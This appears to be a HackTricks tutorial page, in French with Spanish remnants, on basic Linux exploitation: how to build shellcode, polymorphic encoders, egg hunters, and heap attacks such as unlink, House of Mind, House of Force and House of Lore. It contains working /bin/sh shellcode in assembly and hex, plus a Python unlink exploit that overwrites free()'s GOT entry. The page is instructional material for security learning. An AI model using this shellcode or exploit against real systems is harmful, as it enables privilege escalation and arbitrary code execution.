hacktricks/exploiting/linux-exploiting-basic-esp
2024-07-18 22:19:01 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:37 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:37 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:37 +00:00
fusion.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:22:14 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:19:01 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:37 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:37 +00:00

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

2.SHELLCODE

Vérifiez les interruptions du noyau : cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; nettoyons eax
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Exécuter syscall

nasm -f elf assembly.asm —> Nous renvoie un .o
ld assembly.o -o shellcodeout —> Nous donne un exécutable formé par le code assembleur et nous pouvons extraire les opcodes avec objdump
objdump -d -Mintel ./shellcodeout —> Pour voir que c'est effectivement notre shellcode et extraire les OpCodes

Vérifier que la shellcode fonctionne

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Pour voir que les appels système se réalisent correctement, il faut compiler le programme précédent et les appels système doivent apparaître dans strace ./PROGRAMA_COMPILADO

Lors de la création de shellcodes, on peut réaliser une astuce. La première instruction est un jump vers un call. Le call appelle le code original et met également l'EIP dans la pile. Après l'instruction call, nous avons inséré la chaîne dont nous avions besoin, donc avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.

EJ ASTUCE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ utilisant la pile (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV :

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Huter :

Consiste en un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode y étant stockée (cherche une signature placée dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.

Shellcodes polymorphiques

Consistent en des shells chiffrées qui ont un petit code qui les déchiffre et y saute, utilisant le truc de Call-Pop, ce serait un exemple chiffré césar :

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.Méthodes complémentaires

Technique de Murat

En linux tous les programmes se mappent commençant à 0xbfffffff

En voyant comment se construit la pile d'un nouveau processus en linux, on peut développer un exploit de manière à ce que le programme soit lancé dans un environnement dont la seule variable soit la shellcode. L'adresse de celle-ci peut alors être calculée comme : addr = 0xbfffffff - 4 - strlen(NOM_exécutable_complet) - strlen(shellcode)

De cette manière, on obtiendrait facilement l'adresse où se trouve la variable d'environnement avec la shellcode.

Cela est possible grâce à la fonction execle qui permet de créer un environnement qui n'a que les variables d'environnement souhaitées.

Format Strings to Buffer Overflows

Le sprintf moves une chaîne formatée à une variable. Par conséquent, vous pourriez abuser du formatage d'une chaîne pour provoquer un débordement de tampon dans la variable où le contenu est copié.
Par exemple, le payload %.44xAAAA écrira 44B+"AAAA" dans la variable, ce qui peut provoquer un débordement de tampon.

__atexit Structures

{% hint style="danger" %} De nos jours, il est très bizarre d'exploiter cela. {% endhint %}

atexit() est une fonction à laquelle d'autres fonctions sont passées comme paramètres. Ces fonctions seront exécutées lors de l'exécution d'un exit() ou du retour de la main.
Si vous pouvez modifier l'adresse de l'une de ces fonctions pour pointer vers une shellcode par exemple, vous prenez le contrôle du processus, mais cela est actuellement plus compliqué.
Actuellement, les adresses des fonctions à exécuter sont cachées derrière plusieurs structures et finalement l'adresse à laquelle elles pointent n'est pas l'adresse des fonctions, mais est chiffrée avec XOR et des décalages avec une clé aléatoire. Donc, actuellement, ce vecteur d'attaque n'est pas très utile, du moins sur x86 et x64_86.
La fonction de chiffrement est PTR_MANGLE. D'autres architectures telles que m68k, mips32, mips64, aarch64, arm, hppa... n'implémentent pas la fonction de chiffrement car elle retourne la même que celle qu'elle a reçue en entrée. Donc, ces architectures seraient attaquables par ce vecteur.

setjmp() & longjmp()

{% hint style="danger" %} De nos jours, il est très bizarre d'exploiter cela. {% endhint %}

Setjmp() permet de sauvegarder le contexte (les registres)
longjmp() permet de restaurer le contexte.
Les registres sauvegardés sont : EBX, ESI, EDI, ESP, EIP, EBP
Ce qui se passe, c'est que EIP et ESP sont passés par la fonction PTR_MANGLE, donc les architectures vulnérables à cette attaque sont les mêmes que ci-dessus.
Ils sont utiles pour la récupération d'erreurs ou les interruptions.
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, donc si il y a un call ebx, call esi ou call edi à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier l'ESP.

VTable et VPTR en C++

Chaque classe a une Vtable qui est un tableau de pointeurs vers des méthodes.

Chaque objet d'une classe a un VPtr qui est un pointeur vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si un écrasement du VPtr est réalisé, il pourrait être modifié pour pointer vers une méthode fictive afin que l'exécution d'une fonction aille vers la shellcode.

Mesures préventives et évasions

Remplacement de Libsafe

Il s'active avec : LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload

Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas standardisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, pas toutes les fonctions vulnérables ne deviennent sécurisées et LD_PRELOAD ne fonctionne pas dans les binaires avec suid).

ASCII Armored Address Space

Il consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne stoppe presque aucun attaque, et encore moins en little endian.

ret2plt

Il consiste à réaliser un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction que l'on souhaite appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et on copie le 2ème octet de system()… Enfin, on appelle l'adresse sauvegardée dans la GOT qui sera system().

Cages avec chroot()

debootstrap -arch=i386 hardy /home/user —> Installe un système de base sous un sous-répertoire spécifique

Un admin peut sortir de l'une de ces cages en faisant : mkdir foo; chroot foo; cd ..

Instrumentation de code

Valgrind —> Cherche des erreurs
Memcheck
RAD (Return Address Defender)
Insure++

8 Débordements de tas : Exploits de base

Bloc alloué

prev_size |
size | —En-tête
*mem | Données

Bloc libre

prev_size |
size |
*fd | Ptr bloc suivant
*bk | Ptr bloc précédent —En-tête
*mem | Données

Les blocs libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux blocs libres ensemble (ils se fusionnent).

Dans “size”, il y a des bits pour indiquer : Si le bloc précédent est en usage, si le bloc a été alloué par mmap() et si le bloc appartient à l'arène primaire.

Si en libérant un bloc, l'un des contigus est libre, ceux-ci se fusionnent par la macro unlink() et le nouveau bloc plus grand est passé à frontlink() pour qu'il insère le bin approprié.

unlink(){
BK = P->bk; —> Le BK du nouveau bloc est celui que possédait le bloc qui était déjà libre avant
FD = P->fd; —> Le FD du nouveau bloc est celui que possédait le bloc qui était déjà libre avant
FD->bk = BK; —> Le BK du bloc suivant pointe vers le nouveau bloc
BK->fd = FD; —> Le FD du bloc précédent pointe vers le nouveau bloc
}

Par conséquent, si nous parvenons à modifier le P->bk avec l'adresse d'une shellcode et le P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, on réussit :

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Et ainsi, la shellcode s'exécute à la sortie du programme.

De plus, la 4ème instruction de unlink() écrit quelque chose et la shellcode doit être réparée pour cela :

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Cela provoque l'écriture de 4 octets à partir du 8ème octet de la shellcode, donc la première instruction de la shellcode doit être un jmp pour sauter cela et tomber sur des nops qui mènent au reste de la shellcode.

Par conséquent, l'exploit se crée :

Dans le buffer1, nous mettons la shellcode en commençant par un jmp pour qu'elle tombe sur les nops ou sur le reste de la shellcode.

Après la shellcode, nous mettons du remplissage jusqu'à atteindre le champ prev_size et size du bloc suivant. À ces endroits, nous mettons 0xfffffff0 (de manière à ce que le prev_size soit écrasé pour que le bit indiquant qu'il est libre soit à 1) et “-4“(0xfffffffc) dans le size (pour que lorsqu'il vérifie dans le 3ème bloc si le 2ème était libre, il aille réellement au prev_size modifié qui lui dira qu'il est libre) -> Ainsi, lorsque free() enquêtera, il ira au size du 3ème mais en réalité ira au 2ème - 4 et pensera que le 2ème bloc est libre. Et alors il appellera unlink().

En appelant unlink(), il utilisera comme P->fd les premières données du 2ème bloc, donc là se mettra l'adresse que vous souhaitez écraser - 12 (car dans FD->bk, il ajoutera 12 à l'adresse sauvegardée dans FD). Et à cette adresse, il introduira la deuxième adresse qu'il trouvera dans le 2ème bloc, que nous souhaitons qu'elle soit l'adresse de la shellcode (P->bk faux).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de remplissage

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Il est important que le bit indiquant que le bloc précédent est libre soit à 1

fake_size = pack("<I”, 0xfffffffc) #-4, pour qu'il pense que le “size” du 3ème bloc est 4 octets derrière (pointe vers prev_size) car c'est là qu'il vérifie si le 2ème bloc est libre

addr_sc = pack("<I", 0x0804a008 + 8) #Dans le payload, au début, nous allons mettre 8 octets de remplissage

got_free = pack("<I", 0x08048300 - 12) #Adresse de free() dans la plt-12 (ce sera l'adresse qui sera écrasée pour que la shellcode soit lancée la 2ème fois que free est appelé)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Comme dit, le payload commence par 8 octets de remplissage parce que oui

payload += prev_size + fake_size + got_free + addr_sc #On modifie le 2ème bloc, le got_free pointe vers où nous allons sauvegarder l'adresse addr_sc + 12

os.system("./8.3.o " + payload)

unset() libérant dans l'ordre inverse (wargame)

Nous contrôlons 3 blocs consécutifs et ils sont libérés dans l'ordre inverse de leur réservation.

Dans ce cas :

Dans le bloc c, on met la shellcode

Le bloc a est utilisé pour écraser le b de manière à ce que le size ait le bit PREV_INUSE désactivé, de sorte qu'il pense que le bloc a est libre.

De plus, on écrase dans l'en-tête b le size pour qu'il vaille -4.

Alors, le programme pensera que “a” est libre et dans un bin, donc il appellera unlink() pour le désenlacer. Cependant, comme l'en-tête PREV_SIZE vaut -4, il pensera que le bloc de “a” commence réellement à b+4. C'est-à-dire qu'il fera un unlink() à un bloc qui commence à b+4, donc à b+12 se trouvera le pointeur “fd” et à b+16 se trouvera le pointeur “bk”.

De cette manière, si dans bk nous mettons l'adresse de la shellcode et dans fd nous mettons l'adresse de la fonction “puts()”-12, nous avons notre payload.

Technique de Frontlink

On appelle frontlink lorsque quelque chose est libéré et qu'aucun de ses blocs contigus n'est libre, on n'appelle pas unlink() mais on appelle directement frontlink().

Vulnérabilité utile lorsque le malloc qui est attaqué n'est jamais libéré (free()).

Nécessite :

Un buffer qui peut déborder avec la fonction d'entrée de données

Un buffer contigu à celui-ci qui doit être libéré et dont le champ fd de son en-tête sera modifié grâce au débordement du buffer précédent

Un buffer à libérer avec une taille supérieure à 512 mais inférieure à celle du buffer précédent

Un buffer déclaré avant l'étape 3 qui permet d'écraser le prev_size de celui-ci

De cette manière, en réussissant à écraser dans deux mallocs de manière incontrôlée et dans un de manière contrôlée mais qui ne sera libéré que celui-ci, nous pouvons faire un exploit.

Vulnérabilité double free()

Si free() est appelé deux fois avec le même pointeur, deux bins pointent vers la même adresse.

Dans le cas où l'on souhaite réutiliser l'un, il serait assigné sans problème. Dans le cas où l'on souhaite utiliser l'autre, il se verrait assigner le même espace, donc nous aurions les pointeurs “fd” et “bk” faussés avec les données que l'ancienne réservation écrira.

After free()

Un pointeur précédemment libéré est utilisé à nouveau sans contrôle.

8 Débordements de tas : Exploits avancés

Les techniques de Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().

The house of mind

Une seule appel à free() est nécessaire pour provoquer l'exécution de code arbitraire. Il est intéressant de chercher un deuxième bloc qui peut être débordé par un précédent et libéré.

Un appel à free() provoque l'appel à public_fREe(mem), ce qui fait :

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mem); —> Retourne un pointeur à l'adresse où commence le bloc (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Dans [1], il vérifie le champ size le bit NON_MAIN_ARENA, qui peut être altéré pour que la vérification retourne true et exécute heap_for_ptr() qui fait un and à “mem” laissant à 0 les 2.5 bytes les moins significatifs (dans notre cas de 0x0804a000 laisse 0x08000000) et accède à 0x08000000->ar_ptr (comme si c'était un struct heap_info)

De cette manière, si nous pouvons contrôler un bloc par exemple à 0x0804a000 et qu'un bloc va être libéré à 0x081002a0, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple 0x0804a000. Lorsque ce deuxième bloc sera libéré, il se trouvera que heap_for_ptr(ptr)->ar_ptr retourne ce que nous avons écrit à 0x08100000 (puis s'applique à 0x081002a0 le and que nous avons vu auparavant et de là on obtient la valeur des 4 premiers octets, l'ar_ptr)

De cette manière, on appelle _int_free(ar_ptr, mem), c'est-à-dire, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le bloc qui va être libéré.

Tel que défini unsorted_chunks, nous savons que :
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Par conséquent, si dans av->bins[2] nous écrivons la valeur de __DTOR_END__-12, dans la dernière instruction, il sera écrit dans __DTOR_END__ l'adresse du deuxième bloc.

C'est-à-dire, dans le premier bloc, nous devons mettre au début plusieurs fois l'adresse de __DTOR_END__-12 car c'est de là qu'il obtiendra av->bins[2]

À l'adresse où tombera l'adresse du deuxième bloc avec les derniers 5 zéros, nous devons écrire l'adresse de ce premier bloc pour que heap_for_ptr() pense que l'ar_ptr est au début du premier bloc et en tire av->bins[2]

Dans le deuxième bloc et grâce au premier, nous écrasons le prev_size avec un jump 0x0c et le size avec quelque chose pour activer -> NON_MAIN_ARENA

Ensuite, dans le bloc 2, nous mettons un tas de nops et enfin la shellcode.

De cette manière, on appellera _int_free(TROZO1, TROZO2) et suivra les instructions pour écrire dans __DTOR_END__ l'adresse du prev_size du TROZO2 qui sautera à la shellcode.

Pour appliquer cette technique, il faut que certains autres critères soient remplis, ce qui complique un peu plus le payload.

Cette technique n'est plus applicable car un patch similaire à celui de unlink a été appliqué. On compare si le nouveau site vers lequel on pointe lui pointe également.

Fastbin

C'est une variante de The house of mind

Nous voulons atteindre l'exécution du code suivant à laquelle on accède après la première vérification de la fonction _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

De cette manière, si l'on met dans “fb” l'adresse d'une fonction dans la GOT, à cette adresse sera mise l'adresse du bloc écrasé. Pour cela, il sera nécessaire que l'arène soit proche des adresses de dtors. Plus précisément, que av->max_fast soit à l'adresse que nous allons écraser.

Étant donné qu'avec The House of Mind, nous avons vu que nous contrôlions la position de av.

Alors, si dans le champ size nous mettons une taille de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nous renverra fastbins[-1], qui pointera vers av->max_fast

Dans ce cas, av->max_fast sera l'adresse qui sera écrasée (non pas celle à laquelle elle pointe, mais cette position sera celle qui sera écrasée).

De plus, il faut que le bloc contigu à celui libéré soit supérieur à 8 -> Étant donné que nous avons dit que la taille du bloc libéré est 8, dans ce bloc faux, nous devons simplement mettre une taille supérieure à 8 (comme de plus la shellcode ira dans le bloc libéré, il faudra mettre au début un jmp qui tombe sur des nops).

De plus, ce même bloc faux doit être inférieur à av->system_mem. av->system_mem se trouve 1848 octets plus loin.

À cause des nuls de _DTOR_END_ et des rares adresses dans la GOT, aucune adresse de ces sections ne sert à être écrasée, voyons donc comment appliquer fastbin pour attaquer la pile.

Une autre forme d'attaque consiste à rediriger le av vers la pile.

Si nous modifions la taille pour qu'elle soit de 16 au lieu de 8, alors : fastbin_index() nous renverra fastbins[0] et nous pouvons en faire usage pour écraser la pile.

Pour cela, il ne doit y avoir aucun canary ni valeurs étranges dans la pile, en fait, nous devons nous trouver dans celle-ci : 4 octets nuls + EBP + RET

Les 4 octets nuls sont nécessaires pour que le av soit à cette adresse et le premier élément d'un av est le mutex qui doit valoir 0.

Le av->max_fast sera l'EBP et sera une valeur qui nous servira à contourner les restrictions.

Dans le av->fastbins[0], nous écraserons avec l'adresse de p et ce sera le RET, ainsi nous sauterons à la shellcode.

De plus, dans av->system_mem (1484 octets au-dessus de la position dans la pile) il y aura beaucoup de déchets qui nous permettront de contourner la vérification qui est effectuée.

De plus, il faut que le bloc contigu au libéré soit supérieur à 8 -> Étant donné que nous avons dit que la taille du bloc libéré est 16, dans ce bloc faux, nous devons simplement mettre une taille supérieure à 8 (comme de plus la shellcode ira dans le bloc libéré, il faudra mettre au début un jmp qui tombe sur des nops qui viennent après le champ size du nouveau bloc faux).

The House of Spirit

Dans ce cas, nous cherchons à avoir un pointeur vers un malloc qui peut être altéré par l'attaquant (par exemple, que le pointeur soit dans la pile sous un possible débordement à une variable).

Ainsi, nous pourrions faire en sorte que ce pointeur pointe où bon nous semble. Cependant, n'importe quel endroit n'est pas valide, la taille du bloc faussé doit être inférieure à av->max_fast et plus spécifiquement égale à la taille demandée dans un futur appel à malloc()+8. Par conséquent, si nous savons qu'après ce pointeur vulnérable, malloc(40) est appelé, la taille du bloc faux doit être égale à 48.

Si par exemple le programme demandait à l'utilisateur un nombre, nous pourrions entrer 48 et pointer le pointeur de malloc modifiable vers les 4 octets suivants (qui pourraient appartenir à l'EBP avec un peu de chance, ainsi le 48 reste derrière, comme si c'était l'en-tête size). De plus, l'adresse ptr-4+48 doit remplir plusieurs conditions (étant dans ce cas ptr=EBP), c'est-à-dire, 8 < ptr-4+48 < av->system_mem.

Si cela est rempli, lorsque le prochain malloc que nous avons dit qui était malloc(40) sera appelé, il sera assigné comme adresse l'adresse de l'EBP. Si l'attaquant peut également contrôler ce qui est écrit dans ce malloc, il peut écraser à la fois l'EBP et l'EIP avec l'adresse qu'il souhaite.

Je pense que c'est parce qu'ainsi, lorsque free() le libérera, il gardera à l'esprit qu'à l'adresse pointée par l'EBP de la pile, il y a un bloc de taille parfaite pour le nouveau malloc() que l'on souhaite réserver, donc il lui assigne cette adresse.

The House of Force

Il est nécessaire :

  • Un débordement à un bloc qui permet d'écraser le wilderness
  • Un appel à malloc() avec la taille définie par l'utilisateur
  • Un appel à malloc() dont les données peuvent être définies par l'utilisateur

La première chose à faire est d'écraser la taille du bloc wilderness avec une valeur très grande (0xffffffff), ainsi toute demande de mémoire suffisamment grande sera traitée dans _int_malloc() sans avoir besoin d'étendre le tas.

La seconde est d'altérer av->top pour qu'il pointe vers une zone de mémoire sous le contrôle de l'attaquant, comme la pile. Dans av->top, on mettra &EIP - 8.

Nous devons écraser av->top pour qu'il pointe vers la zone de mémoire sous le contrôle de l'attaquant :

victim = av->top;

remainder = chunk_at_offset(victim, nb);

av->top = remainder;

Victim récupère la valeur de l'adresse du bloc wilderness actuel (l'actuel av->top) et remainder est exactement la somme de cette adresse plus la quantité d'octets demandés par malloc(). Donc, si &EIP-8 est à 0xbffff224 et av->top contient 0x080c2788, alors la quantité que nous devons réserver dans le malloc contrôlé pour que av->top pointe vers $EIP-8 pour le prochain malloc() sera :

0xbffff224 - 0x080c2788 = 3086207644.

Ainsi, la valeur altérée sera sauvegardée dans av->top et le prochain malloc pointera vers l'EIP et pourra l'écraser.

Il est important de savoir que la taille du nouveau bloc wilderness soit plus grande que la demande faite par le dernier malloc(). C'est-à-dire, si le wilderness pointe vers &EIP-8, la taille se retrouvera juste dans le champ EBP de la pile.

The House of Lore

Corruption SmallBin

Les blocs libérés sont introduits dans le bin en fonction de leur taille. Mais avant de les introduire, ils sont conservés dans des bins non triés. Un bloc est libéré, il n'est pas immédiatement mis dans son bin, mais reste dans des bins non triés. Ensuite, si un nouveau bloc est réservé et que l'ancien libéré peut lui servir, il le renvoie, mais si un plus grand est réservé, le bloc libéré dans les bins non triés est mis dans son bin approprié.

Pour atteindre le code vulnérable, la demande de mémoire devra être supérieure à av->max_fast (72 normalement) et inférieure à MIN_LARGE_SIZE (512).

Si dans les bins, il y a un bloc de la taille adéquate à ce qui est demandé, il est renvoyé après avoir été désenlacé :

bck = victim->bk; Pointe vers le bloc précédent, c'est la seule info que nous pouvons altérer.

bin->bk = bck; L'avant-dernier bloc devient le dernier, si bck pointe vers la pile, le prochain bloc réservé se verra donner cette adresse.

bck->fd = bin; On ferme la liste en faisant pointer ce dernier vers bin.

Il est nécessaire :

Que deux malloc soient réservés, de manière à ce que le premier puisse déborder après que le second ait été libéré et introduit dans son bin (c'est-à-dire, qu'un malloc supérieur au second bloc ait été réservé avant de faire le débordement)

Que le malloc réservé auquel l'adresse choisie par l'attaquant est donnée soit contrôlé par l'attaquant.

L'objectif est le suivant, si nous pouvons faire un débordement à un tas qui a en dessous un bloc déjà libéré et dans son bin, nous pouvons altérer son pointeur bk. Si nous altérons son pointeur bk et que ce bloc devient le premier de la liste de bin et qu'il est réservé, on trompera bin et on lui dira que le dernier bloc de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (vers la pile ou la GOT par exemple). Donc, si un autre bloc est à nouveau réservé et que l'attaquant a des permissions sur celui-ci, il se verra donner un bloc à la position souhaitée et pourra y écrire.

Après avoir libéré le bloc modifié, il est nécessaire de réserver un bloc plus grand que celui libéré, ainsi le bloc modifié sortira des bins non triés et sera introduit dans son bin.

Une fois dans son bin, c'est le moment de modifier son pointeur bk par le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.

Ainsi, le bin devra attendre son tour pour que malloc() soit appelé suffisamment de fois pour que le bin modifié soit réutilisé et trompe bin en lui faisant croire que le prochain bloc est à l'adresse fausse. Et ensuite, le bloc qui nous intéresse sera donné.

Pour que la vulnérabilité s'exécute le plus tôt possible, l'idéal serait : Réservation du bloc vulnérable, réservation du bloc qui sera modifié, libération de ce bloc, réservation d'un bloc plus grand que celui qui sera modifié, modification du bloc (vulnérabilité), réservation d'un bloc de taille égale à celui vulnéré et réservation d'un second bloc de taille égale et ce sera celui qui pointera vers l'adresse choisie.

Pour protéger cette attaque, on utilise la vérification typique que le bloc “n'est pas” faux : on vérifie si bck->fd pointe vers victim. C'est-à-dire, dans notre cas, si le pointeur fd* du bloc faux pointé dans la pile pointe vers victim. Pour contourner cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement par la pile) à l'adresse appropriée l'adresse de victim. Pour que cela semble un bloc vrai.

Corruption LargeBin

Les mêmes exigences que précédemment sont nécessaires, ainsi que quelques autres, de plus, les blocs réservés doivent être supérieurs à 512.

L'attaque est comme la précédente, c'est-à-dire, il faut modifier le pointeur bk et toutes ces appels à malloc() sont nécessaires, mais en plus, il faut modifier la taille du bloc modifié de manière à ce que cette taille - nb soit < MINSIZE.

Par exemple, cela fera que mettre dans la taille 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car on compare un unsigned).

De plus, un patch a été introduit pour rendre cela encore plus compliqué.

Heap Spraying

Cela consiste essentiellement à réserver toute la mémoire possible pour les tas et à les remplir avec un matelas de nops suivi d'une shellcode. De plus, comme matelas, on utilise 0x0c. On essaiera de sauter à l'adresse 0x0c0c0c0c, et ainsi, si une adresse à laquelle on va appeler est écrasée avec ce matelas, on sautera là. Essentiellement, la tactique consiste à réserver le maximum possible pour voir si un pointeur est écrasé et sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là.

Heap Feng Shui

Cela consiste à semer la mémoire par le biais de réservations et de libérations de manière à ce que des blocs réservés se trouvent entre des blocs libres. Le buffer à déborder sera situé dans l'un des œufs.

objdump -d exécutable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Obtenir l'adresse de la fonction
objdump -d -Mintel ./shellcodeout —> Pour voir que c'est effectivement notre shellcode et obtenir les OpCodes
objdump -t ./exec | grep varBss —> Table des symboles, pour obtenir l'adresse des variables et des fonctions
objdump -TR ./exec | grep exit(func lib) —> Pour obtenir l'adresse des fonctions de bibliothèques (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtient l'adresse de puts à écraser dans la GOT
objdump -D ./exec —> Disas TOUT jusqu'aux entrées de la plt
objdump -p -/exec
Info functions strncmp —> Info de la fonction dans gdb

Cours intéressants

Références

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}